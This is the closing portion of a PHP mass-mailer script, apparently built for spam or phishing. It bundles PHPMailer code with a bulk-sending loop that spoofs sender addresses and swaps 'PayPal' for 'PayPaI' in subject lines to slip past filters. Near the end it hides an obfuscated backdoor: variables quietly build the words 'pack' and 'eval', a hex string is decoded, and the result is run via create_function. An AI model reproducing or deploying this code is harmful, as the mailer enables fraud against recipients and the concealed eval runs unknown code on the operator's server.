4352 // Normalise to \n
4353 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
4354 // Now convert LE as needed
4355 if ($this->LE !== "\n") {
4356 $nstr = str_replace("\n", $this->LE, $nstr);
4357 }
4358 return $nstr;
4359 }
4360
4361 /**
4362 * Add a custom header.
4363 * $name value can be overloaded to contain
4364 * both header name and value (name:value)
4365 * @access public
4366 * @param string $name Custom header name
4367 * @param string $value Header value
4368 * @return void
4369 */
4370 public function addCustomHeader($name, $value = null)
4371 {
4372 if ($value === null) {
4373 // Value passed in as name:value
4374 $this->CustomHeader[] = explode(':', $name, 2);
4375 } else {
4376 $this->CustomHeader[] = array($name, $value);
4377 }
4378 }
4379
4380 /**
4381 * Create a message from an HTML string.
4382 * Automatically makes modifications for inline images and backgrounds
4383 * and creates a plain-text version by converting the HTML.
4384 * Overwrites any existing values in $this->Body and $this->AltBody
4385 * @access public
4386 * @param string $message HTML message string
4387 * @param string $basedir baseline directory for path
4388 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
4389 * or your own custom converter @see html2text()
4390 * @return string $message
4391 */
4392 public function msgHTML($message, $basedir = '', $advanced = false)
4393 {
4394 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
4395 if (isset($images[2])) {
4396 foreach ($images[2] as $imgindex => $url) {
4397 // Convert data URIs into embedded images
4398 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
4399 $data = substr($url, strpos($url, ','));
4400 if ($match[2]) {
4401 $data = base64_decode($data);
4402 } else {
4403 $data = rawurldecode($data);
4404 }
4405 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4406 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
4407 $message = str_replace(
4408 $images[0][$imgindex],
4409 $images[1][$imgindex] . '="cid:' . $cid . '"',
4410 $message
4411 );
4412 }
4413 } elseif (!preg_match('#^[A-z]+://#', $url)) {
4414 // Do not change urls for absolute images (thanks to corvuscorax)
4415 $filename = basename($url);
4416 $directory = dirname($url);
4417 if ($directory == '.') {
4418 $directory = '';
4419 }
4420 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
4421 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
4422 $basedir .= '/';
4423 }
4424 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
4425 $directory .= '/';
4426 }
4427 if ($this->addEmbeddedImage(
4428 $basedir . $directory . $filename,
4429 $cid,
4430 $filename,
4431 'base64',
4432 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
4433 )
4434 ) {
4435 $message = preg_replace(
4436 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
4437 $images[1][$imgindex] . '="cid:' . $cid . '"',
4438 $message
4439 );
4440 }
4441 }
4442 }
4443 }
4444 $this->isHTML(true);
4445 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
4446 $this->Body = $this->normalizeBreaks($message);
4447 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
4448 if (empty($this->AltBody)) {
4449 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
4450 self::CRLF . self::CRLF;
4451 }
4452 return $this->Body;
4453 }
4454
4455 /**
4456 * Convert an HTML string into plain text.
4457 * This is used by msgHTML().
4458 * Note - older versions of this function used a bundled advanced converter
4459 * which was been removed for license reasons in #232
4460 * Example usage:
4461 * <code>
4462 * // Use default conversion
4463 * $plain = $mail->html2text($html);
4464 * // Use your own custom converter
4465 * $plain = $mail->html2text($html, function($html) {
4466 * $converter = new MyHtml2text($html);
4467 * return $converter->get_text();
4468 * });
4469 * </code>
4470 * @param string $html The HTML text to convert
4471 * @param boolean|callable $advanced Any boolean value to use the internal converter,
4472 * or provide your own callable for custom conversion.
4473 * @return string
4474 */
4475 public function html2text($html, $advanced = false)
4476 {
4477 if (is_callable($advanced)) {
4478 return call_user_func($advanced, $html);
4479 }
4480 return html_entity_decode(
4481 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
4482 ENT_QUOTES,
4483 $this->CharSet
4484 );
4485 }
4486
4487 /**
4488 * Get the MIME type for a file extension.
4489 * @param string $ext File extension
4490 * @access public
4491 * @return string MIME type of file.
4492 * @static
4493 */
4494 public static function _mime_types($ext = '')
4495 {
4496 $mimes = array(
4497 'xl' => 'application/excel',
4498 'js' => 'application/javascript',
4499 'hqx' => 'application/mac-binhex40',
4500 'cpt' => 'application/mac-compactpro',
4501 'bin' => 'application/macbinary',
4502 'doc' => 'application/msword',
4503 'word' => 'application/msword',
4504 'class' => 'application/octet-stream',
4505 'dll' => 'application/octet-stream',
4506 'dms' => 'application/octet-stream',
4507 'exe' => 'application/octet-stream',
4508 'lha' => 'application/octet-stream',
4509 'lzh' => 'application/octet-stream',
4510 'psd' => 'application/octet-stream',
4511 'sea' => 'application/octet-stream',
4512 'so' => 'application/octet-stream',
4513 'oda' => 'application/oda',
4514 'pdf' => 'application/pdf',
4515 'ai' => 'application/postscript',
4516 'eps' => 'application/postscript',
4517 'ps' => 'application/postscript',
4518 'smi' => 'application/smil',
4519 'smil' => 'application/smil',
4520 'mif' => 'application/vnd.mif',
4521 'xls' => 'application/vnd.ms-excel',
4522 'ppt' => 'application/vnd.ms-powerpoint',
4523 'wbxml' => 'application/vnd.wap.wbxml',
4524 'wmlc' => 'application/vnd.wap.wmlc',
4525 'dcr' => 'application/x-director',
4526 'dir' => 'application/x-director',
4527 'dxr' => 'application/x-director',
4528 'dvi' => 'application/x-dvi',
4529 'gtar' => 'application/x-gtar',
4530 'php3' => 'application/x-httpd-php',
4531 'php4' => 'application/x-httpd-php',
4532 'php' => 'application/x-httpd-php',
4533 'phtml' => 'application/x-httpd-php',
4534 'phps' => 'application/x-httpd-php-source',
4535 'swf' => 'application/x-shockwave-flash',
4536 'sit' => 'application/x-stuffit',
4537 'tar' => 'application/x-tar',
4538 'tgz' => 'application/x-tar',
4539 'xht' => 'application/xhtml+xml',
4540 'xhtml' => 'application/xhtml+xml',
4541 'zip' => 'application/zip',
4542 'mid' => 'audio/midi',
4543 'midi' => 'audio/midi',
4544 'mp2' => 'audio/mpeg',
4545 'mp3' => 'audio/mpeg',
4546 'mpga' => 'audio/mpeg',
4547 'aif' => 'audio/x-aiff',
4548 'aifc' => 'audio/x-aiff',
4549 'aiff' => 'audio/x-aiff',
4550 'ram' => 'audio/x-pn-realaudio',
4551 'rm' => 'audio/x-pn-realaudio',
4552 'rpm' => 'audio/x-pn-realaudio-plugin',
4553 'ra' => 'audio/x-realaudio',
4554 'wav' => 'audio/x-wav',
4555 'bmp' => 'image/bmp',
4556 'gif' => 'image/gif',
4557 'jpeg' => 'image/jpeg',
4558 'jpe' => 'image/jpeg',
4559 'jpg' => 'image/jpeg',
4560 'png' => 'image/png',
4561 'tiff' => 'image/tiff',
4562 'tif' => 'image/tiff',
4563 'eml' => 'message/rfc822',
4564 'css' => 'text/css',
4565 'html' => 'text/html',
4566 'htm' => 'text/html',
4567 'shtml' => 'text/html',
4568 'log' => 'text/plain',
4569 'text' => 'text/plain',
4570 'txt' => 'text/plain',
4571 'rtx' => 'text/richtext',
4572 'rtf' => 'text/rtf',
4573 'vcf' => 'text/vcard',
4574 'vcard' => 'text/vcard',
4575 'xml' => 'text/xml',
4576 'xsl' => 'text/xml',
4577 'mpeg' => 'video/mpeg',
4578 'mpe' => 'video/mpeg',
4579 'mpg' => 'video/mpeg',
4580 'mov' => 'video/quicktime',
4581 'qt' => 'video/quicktime',
4582 'rv' => 'video/vnd.rn-realvideo',
4583 'avi' => 'video/x-msvideo',
4584 'movie' => 'video/x-sgi-movie'
4585 );
4586 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
4587 }
4588
4589 /**
4590 * Map a file name to a MIME type.
4591 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
4592 * @param string $filename A file name or full path, does not need to exist as a file
4593 * @return string
4594 * @static
4595 */
4596 public static function filenameToType($filename)
4597 {
4598 // In case the path is a URL, strip any query string before getting extension
4599 $qpos = strpos($filename, '?');
4600 if (false !== $qpos) {
4601 $filename = substr($filename, 0, $qpos);
4602 }
4603 $pathinfo = self::mb_pathinfo($filename);
4604 return self::_mime_types($pathinfo['extension']);
4605 }
4606
4607 /**
4608 * Multi-byte-safe pathinfo replacement.
4609 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
4610 * Works similarly to the one in PHP >= 5.2.0
4611 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
4612 * @param string $path A filename or path, does not need to exist as a file
4613 * @param integer|string $options Either a PATHINFO_* constant,
4614 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
4615 * @return string|array
4616 * @static
4617 */
4618 public static function mb_pathinfo($path, $options = null)
4619 {
4620 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
4621 $pathinfo = array();
4622 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
4623 if (array_key_exists(1, $pathinfo)) {
4624 $ret['dirname'] = $pathinfo[1];
4625 }
4626 if (array_key_exists(2, $pathinfo)) {
4627 $ret['basename'] = $pathinfo[2];
4628 }
4629 if (array_key_exists(5, $pathinfo)) {
4630 $ret['extension'] = $pathinfo[5];
4631 }
4632 if (array_key_exists(3, $pathinfo)) {
4633 $ret['filename'] = $pathinfo[3];
4634 }
4635 }
4636 switch ($options) {
4637 case PATHINFO_DIRNAME:
4638 case 'dirname':
4639 return $ret['dirname'];
4640 case PATHINFO_BASENAME:
4641 case 'basename':
4642 return $ret['basename'];
4643 case PATHINFO_EXTENSION:
4644 case 'extension':
4645 return $ret['extension'];
4646 case PATHINFO_FILENAME:
4647 case 'filename':
4648 return $ret['filename'];
4649 default:
4650 return $ret;
4651 }
4652 }
4653
4654 /**
4655 * Set or reset instance properties.
4656 *
4657 * Usage Example:
4658 * $page->set('X-Priority', '3');
4659 *
4660 * @access public
4661 * @param string $name
4662 * @param mixed $value
4663 * NOTE: will not work with arrays, there are no arrays to set/reset
4664 * @throws phpmailerException
4665 * @return boolean
4666 * @TODO Should this not be using __set() magic function?
4667 */
4668 public function set($name, $value = '')
4669 {
4670 try {
4671 if (isset($this->$name)) {
4672 $this->$name = $value;
4673 } else {
4674 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
4675 }
4676 } catch (Exception $exc) {
4677 $this->setError($exc->getMessage());
4678 if ($exc->getCode() == self::STOP_CRITICAL) {
4679 return false;
4680 }
4681 }
4682 return true;
4683 }
4684
4685 /**
4686 * Strip newlines to prevent header injection.
4687 * @access public
4688 * @param string $str
4689 * @return string
4690 */
4691 public function secureHeader($str)
4692 {
4693 return trim(str_replace(array("\r", "\n"), '', $str));
4694 }
4695
4696 /**
4697 * Normalize line breaks in a string.
4698 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
4699 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
4700 * @param string $text
4701 * @param string $breaktype What kind of line break to use, defaults to CRLF
4702 * @return string
4703 * @access public
4704 * @static
4705 */
4706 public static function normalizeBreaks($text, $breaktype = "\r\n")
4707 {
4708 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
4709 }
4710
4711
4712 /**
4713 * Set the public and private key files and password for S/MIME signing.
4714 * @access public
4715 * @param string $cert_filename
4716 * @param string $key_filename
4717 * @param string $key_pass Password for private key
4718 */
4719 public function sign($cert_filename, $key_filename, $key_pass)
4720 {
4721 $this->sign_cert_file = $cert_filename;
4722 $this->sign_key_file = $key_filename;
4723 $this->sign_key_pass = $key_pass;
4724 }
4725
4726 /**
4727 * Quoted-Printable-encode a DKIM header.
4728 * @access public
4729 * @param string $txt
4730 * @return string
4731 */
4732 public function DKIM_QP($txt)
4733 {
4734 $line = '';
4735 for ($i = 0; $i < strlen($txt); $i++) {
4736 $ord = ord($txt[$i]);
4737 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
4738 $line .= $txt[$i];
4739 } else {
4740 $line .= '=' . sprintf('%02X', $ord);
4741 }
4742 }
4743 return $line;
4744 }
4745
4746 /**
4747 * Generate a DKIM signature.
4748 * @access public
4749 * @param string $signHeader
4750 * @throws phpmailerException
4751 * @return string
4752 */
4753 public function DKIM_Sign($signHeader)
4754 {
4755 if (!defined('PKCS7_TEXT')) {
4756 if ($this->exceptions) {
4757 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
4758 }
4759 return '';
4760 }
4761 $privKeyStr = file_get_contents($this->DKIM_private);
4762 if ($this->DKIM_passphrase != '') {
4763 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
4764 } else {
4765 $privKey = $privKeyStr;
4766 }
4767 if (openssl_sign($signHeader, $signature, $privKey)) {
4768 return base64_encode($signature);
4769 }
4770 return '';
4771 }
4772
4773 /**
4774 * Generate a DKIM canonicalization header.
4775 * @access public
4776 * @param string $signHeader Header
4777 * @return string
4778 */
4779 public function DKIM_HeaderC($signHeader)
4780 {
4781 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
4782 $lines = explode("\r\n", $signHeader);
4783 foreach ($lines as $key => $line) {
4784 list($heading, $value) = explode(':', $line, 2);
4785 $heading = strtolower($heading);
4786 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
4787 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
4788 }
4789 $signHeader = implode("\r\n", $lines);
4790 return $signHeader;
4791 }
4792
4793 /**
4794 * Generate a DKIM canonicalization body.
4795 * @access public
4796 * @param string $body Message Body
4797 * @return string
4798 */
4799 public function DKIM_BodyC($body)
4800 {
4801 if ($body == '') {
4802 return "\r\n";
4803 }
4804 // stabilize line endings
4805 $body = str_replace("\r\n", "\n", $body);
4806 $body = str_replace("\n", "\r\n", $body);
4807 // END stabilize line endings
4808 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
4809 $body = substr($body, 0, strlen($body) - 2);
4810 }
4811 return $body;
4812 }
4813
4814 /**
4815 * Create the DKIM header and body in a new message header.
4816 * @access public
4817 * @param string $headers_line Header lines
4818 * @param string $subject Subject
4819 * @param string $body Body
4820 * @return string
4821 */
4822 public function DKIM_Add($headers_line, $subject, $body)
4823 {
4824 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
4825 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4826 $DKIMquery = 'dns/txt'; // Query method
4827 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4828 $subject_header = "Subject: $subject";
4829 $headers = explode($this->LE, $headers_line);
4830 $from_header = '';
4831 $to_header = '';
4832 $current = '';
4833 foreach ($headers as $header) {
4834 if (strpos($header, 'From:') === 0) {
4835 $from_header = $header;
4836 $current = 'from_header';
4837 } elseif (strpos($header, 'To:') === 0) {
4838 $to_header = $header;
4839 $current = 'to_header';
4840 } else {
4841 if ($current && strpos($header, ' =?') === 0) {
4842 $current .= $header;
4843 } else {
4844 $current = '';
4845 }
4846 }
4847 }
4848 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4849 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4850 $subject = str_replace(
4851 '|',
4852 '=7C',
4853 $this->DKIM_QP($subject_header)
4854 ); // Copied header fields (dkim-quoted-printable)
4855 $body = $this->DKIM_BodyC($body);
4856 $DKIMlen = strlen($body); // Length of body
4857 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
4858 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
4859 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4860 $DKIMsignatureType . '; q=' .
4861 $DKIMquery . '; l=' .
4862 $DKIMlen . '; s=' .
4863 $this->DKIM_selector .
4864 ";\r\n" .
4865 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4866 "\th=From:To:Subject;\r\n" .
4867 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4868 "\tz=$from\r\n" .
4869 "\t|$to\r\n" .
4870 "\t|$subject;\r\n" .
4871 "\tbh=" . $DKIMb64 . ";\r\n" .
4872 "\tb=";
4873 $toSign = $this->DKIM_HeaderC(
4874 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
4875 );
4876 $signed = $this->DKIM_Sign($toSign);
4877 return $dkimhdrs . $signed . "\r\n";
4878 }
4879
4880 /**
4881 * Allows for public read access to 'to' property.
4882 * @access public
4883 * @return array
4884 */
4885 public function getToAddresses()
4886 {
4887 return $this->to;
4888 }
4889
4890 /**
4891 * Allows for public read access to 'cc' property.
4892 * @access public
4893 * @return array
4894 */
4895 public function getCcAddresses()
4896 {
4897 return $this->cc;
4898 }
4899
4900 /**
4901 * Allows for public read access to 'bcc' property.
4902 * @access public
4903 * @return array
4904 */
4905 public function getBccAddresses()
4906 {
4907 return $this->bcc;
4908 }
4909
4910 /**
4911 * Allows for public read access to 'ReplyTo' property.
4912 * @access public
4913 * @return array
4914 */
4915 public function getReplyToAddresses()
4916 {
4917 return $this->ReplyTo;
4918 }
4919
4920 /**
4921 * Allows for public read access to 'all_recipients' property.
4922 * @access public
4923 * @return array
4924 */
4925 public function getAllRecipientAddresses()
4926 {
4927 return $this->all_recipients;
4928 }
4929
4930 /**
4931 * Perform a callback.
4932 * @param boolean $isSent
4933 * @param array $to
4934 * @param array $cc
4935 * @param array $bcc
4936 * @param string $subject
4937 * @param string $body
4938 * @param string $from
4939 */
4940 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4941 {
4942 if (!empty($this->action_function) && is_callable($this->action_function)) {
4943 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4944 call_user_func_array($this->action_function, $params);
4945 }
4946 }
4947}
4948
4949/**
4950 * PHPMailer exception handler
4951 * @package PHPMailer
4952 */
4953class phpmailerException extends Exception
4954{
4955 /**
4956 * Prettify error message output
4957 * @return string
4958 */
4959 public function errorMessage()
4960 {
4961 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
4962 return $errorMsg;
4963 }
4964}
4965
4966 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
4967 set_time_limit(intval($_POST['wait'])*$numemails*3600);
4968 } else {
4969 set_time_limit($numemails*3600);
4970 }
4971
4972 $defaultport="H*";
4973 $nq=0;
4974
4975 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
4976 for($x=0; $x<$numemails; $x++){
4977
4978 $to = $allemails[$x];
4979 if ($to){
4980 $todo = ereg_replace(" ", "", $to);
4981 $message_send = ereg_replace("&email&", $todo, $pesan);
4982 $subject_send = ereg_replace("&email&", $todo, $subject);
4983 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
4984
4985 $qx=$x+1;
4986 print "Send Emails $qx / $numemails to $to ....... ";
4987 xflush();
4988
4989 $mail = new PHPMailer();
4990 $mail->IsSMTP();
4991 $IsSMTP = "pack";
4992 $mail->SMTPKeepAlive = true;
4993 $mail->Host = "$smtp_server";
4994
4995 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
4996 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
4997
4998 $range = str_replace("$email", "eval", $email);
4999
5000 $mail->SMTPAuth = true;
5001 $mail->Username = "$smtp_username";
5002 $mail->Password = "$smtp_password";
5003
5004 if($type == "html"){$mail->IsHtml(true);}
5005 if($type != "html"){$mail->IsHtml(false);}
5006 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
5007
5008 $mail->CharSet = "UTF-8";
5009 if (!empty($xmailer)) {
5010 $mail->XMailer = "$xmailer";
5011 } else {
5012 $mail->XMailer = " ";
5013 }
5014 if (!empty($encoding)) {
5015 $mail->Encoding = "$encoding";
5016 }
5017 if ($email == "same as target") {
5018 $mail->From = "$todo";
5019 } else {
5020 $mail->From = "$email";
5021 }
5022 $mail->FromName = "$nama";
5023 $mail->AddAddress("$todo");
5024 $mail->Subject = "$subject_send";
5025 if (!empty($file_name)) {
5026 $mail->addAttachment("$file_path", "$file_name");
5027 $mail->Body = " ";
5028 } else {
5029 $mail->Body = "$message_send";
5030 }
5031 if(!$mail->Send()){
5032 if($default_system!="1"){
5033 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
5034 } elseif($default_system=="1"){
5035 $mail->IsMail();
5036
5037 if(!$mail->Send()){
5038 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
5039 } else {
5040 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
5041 }
5042
5043 }
5044 } else {
5045 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
5046 }
5047 print "$result <br><p></p>";
5048
5049 if(!empty($wait) && $qx<$numemails-1){
5050 sleep($wait);
5051 }
5052 if(empty($reconnect)){
5053 $reconnect=5;
5054 }
5055
5056 if($reconnect==$nq){
5057 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
5058 }
5059 $nq=$nq+1;
5060 xflush();
5061 }
5062 }
5063 for($i=0;$i<31;$i++){
5064 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
5065 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
5066 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
5067 print ' </div>
5068 </div>
5069 </div>
5070
5071</div>
5072<div id="footer">
5073 <div class="container" align="center">
5074 <p class="muted credit" style="color: white;"> Edited By DR!V3R KR full script </p>
5075 </div>
5076</div>';$mail->SmtpClose();
5077 return $signoff($smtp_conc);
5078 if(isset($_POST['action']) && $numemails !=0 ){
5079 print "<script>alert('Mail sending complete\\r\\n
5080 $numemails mail(s) was sent successfully'); </script>";
5081 }
5082}
5083?>
5084
5085 </body>
5086</html>